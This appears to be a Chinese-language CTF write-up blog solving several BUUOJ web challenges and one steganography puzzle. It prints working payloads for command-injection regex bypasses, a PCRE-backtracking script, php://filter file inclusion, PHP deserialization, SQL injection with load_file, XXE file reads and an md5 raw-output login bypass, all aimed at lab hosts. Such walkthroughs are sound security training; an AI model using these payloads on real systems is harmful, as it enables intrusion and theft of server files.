WEB

[ASIS 2019]Unicorn shop

Item ID Price English Spanish German Russian
1 2.0 black and white unicorn unicornio blanco y negro Schwarzweiss-Einhorn черно-белый единорог
2 5.0 unicorn family familia unicornio Einhorn-Familie семья единорога
3 8.0 warrior unicorn guerrero unicornio Krieger Einhorn воин единорог
4 1337.0 ultra unicorn ultra unicornio ultra Einhorn ультра единорог

题目为一个独角兽商店,需要输入商品ID和价格进行购买,并且测试后发现价格只能为一个字符,想要得到flag必须购买第四个独角兽,也就是价格为1337.0,很显然,我们输入正常字符不能够达到要求,这里便牵扯到utf-8编码转换问题,也就是一些字符的值是大于1337.0的,例如 亿我们选择一个填入即可。

字符数值查询网站:Unicode

[FBCTF2019]RCEService

通过描述Enter command as JSON得知需要传入json格式的命令,随便输了一下发现为GET传参,参数为cmd

尝试以json格式传入一条命令:

1
?cmd={"cmd":"ls"}

尝试读取index.php,发现被ban了:

1
?cmd={"cmd":"cat index.php"}

解法一:

由于preg_match只能匹配第一行,所以可以使用换行符%0a进行换行后再执行命令:

1
?cmd={%0a"cmd":"ls /"%0a}

层层查找后发现flag文件在/home/rceservice/下:

1
?cmd={%0a"cmd":"ls /home/rceservice/"%0a}

但是cat被ban了,不能直接调用命令,可以通过相对路径绕过,即可读取flag:

1
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

方法二:

pcre回溯次数上限默认是100W,当回溯次数超过100W时就会导致正则匹配执行失败,便可以绕过限制,

可以直接使用P神的POC:

1
2
3
4
5
import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://851e4231-523a-4cfa-98d6-112046e79f38.node3.buuoj.cn/index.php", data={"cmd":payload})
print(res.text)

[HarekazeCTF2019]encode_and_encode

给出了三个选项,前两个没给出什么有效信息,第三个选项给出了源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

进行代码审计,发现is_valid函数为自定义的检查过滤函数,$banward中的值即为黑名单,下面接着$body通过file_get_contents函数获取POST传入的数据(php://input),然后$json获取$body通过json解码后的数据,接着通过is_valid函数检查$bodypage通过json格式传参到$page,然后$content通过file_get_contents函数获取$page的内容,后面再通过正则匹配将$content内容中的HarekazeCTF{}替换为HarekazeCTF{&lt;censored&gt;},然后通过json格式输出content的内容。
由于file_get_contents函数可以触发php://filter,所以可以通过PHP伪协议读取flag,对黑名单中的内容通过Unicode编码绕过。
Payload:

1
2
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
/* \u0070\u0068\u0070表示php;\u0066\u006c\u0061\u0067表示flag */

[ZJCTF 2019]NiZhuanSiWei

打开靶机给出一段源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

审计发现,需要通过GET传参对text写入welcome to the zjctf,此处可以通过data://协议绕过,本来以为可以使用远程文件包含,尝试了一下并不行,第一层绕过后会进行文件包含,提示文件为useless.php,可以通过php://filter协议读取文件内容:
Payload:

1
http://ab1479d1-138f-4756-a924-2a8b9201d7e1.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

获得useless.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

接下来的考察点就是PHP序列化了,通过该段源码,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>

本地运行输出结果为:

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终Payload:

1
http://ab1479d1-138f-4756-a924-2a8b9201d7e1.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[网鼎杯 2018]Fakebook

注册账号登录,发现在username处存在注入:

union select组合语句会被报错,使用/**/绕过:

尝试文件读取,获取flag:
payload:

1
?no=-1 union/**/select 1,(load_file('/var/www/html/flag.php')),2,3

[护网杯2018] easy_tornado

打开靶机发现为三个文本文件:

打开/flag.txt,得到提示flag在/fllllllllllllag

welcome.txt内容为render,据说是一个函数,但我不会,直接跳过了。

/hint.txt内容为md5(cookie_secret+md5(filename)),意思是对filename加密后再将cookie_secret与加密后的filename进行md5加密:

对于flag.txt的内容,再结合URL的形式,考虑到应该是file=/fllllllllllag,但是直接上传的话会报错,再经过多次尝试也没有进展,后来查看WriteUp得知是服务端模板注入(SSTI攻击),在输入/error?msg=后得到cookie_secret

之后通过脚本进行加密:

1
2
3
4
5
<?php
$cookie_secret = '42dc6c23-e944-46ef-9161-caecd37ee9e0';
$filename = '/fllllllllllllag';
echo md5($cookie_secret.md5($filename));
?>

最终构造payload:

1
file?filename=/fllllllllllllag&filehash=3bf948972396ee343d5605b86494d7bc

上传得到flag:

Do you like xml?

打开链接为一个登陆页面,一张图片提示flag in this pic,于是将该图片下载解析发现hint提示flag在flag.php里:

同时注意到WEAK PASSWORD,译为弱密码。于是尝试登录admin admin,提示登陆成功,但是不跳转,考虑到题目名为Do you like xml,应该是跟XXE漏洞有关,于是进行抓包分析:

通过数据包确定的确为XXE漏洞,参考资料:XXE漏洞利用技巧:从XML到远程代码执行
构造Payload:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE a[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">]>
<user><username>&xxe;</username><password>admin</password></user>

发包得到base64的flag,解密即得flag:

PORT 51

打开链接提示:Please use port 51 to visit this site.尝试修改端口为51发现没有变化,之后查了WP发现本地的网络都默认有代理的,需要通过VPS访问,最终通过VPS成功获取flag:

LOCALHOST

进去页面提示:localhost access only!!
直接修改请求头发现就可以了:

Login
进去是一个登录框,输入发现没什么信息,也没有源码,之后发现请求头里面有hint:"select * from 'admin' where password='".md5($pass,true)."'"
参考链接sql注入:md5($password,true)发现输入ffifdyop129581926211651571912466741651878684928就可以得到flag:

MISC

[HappyCTF 2017] 粽子的来历

解压附件得到四个DOC文件,打开内容均为乱码,后来考虑到题目描述中提到了dbapp标记,逐一查看发现“我是C”中有一段含Dbapp的字符串,之后通过010editor打开查看十六进制表,发现那段字符串周围全是F,然后考虑着把字符串的十六进制也全部改成F,之后保存文档竟然正常了。

打开文档发现是…《离骚》!!?

后面思路断了。
但看了Writeup是真的厉害,行间距不一样,宽的代表1窄的代表0,最终得到100100100001,然后MD5加密,提交正确了。
杂项知识太杂了…无力吐槽。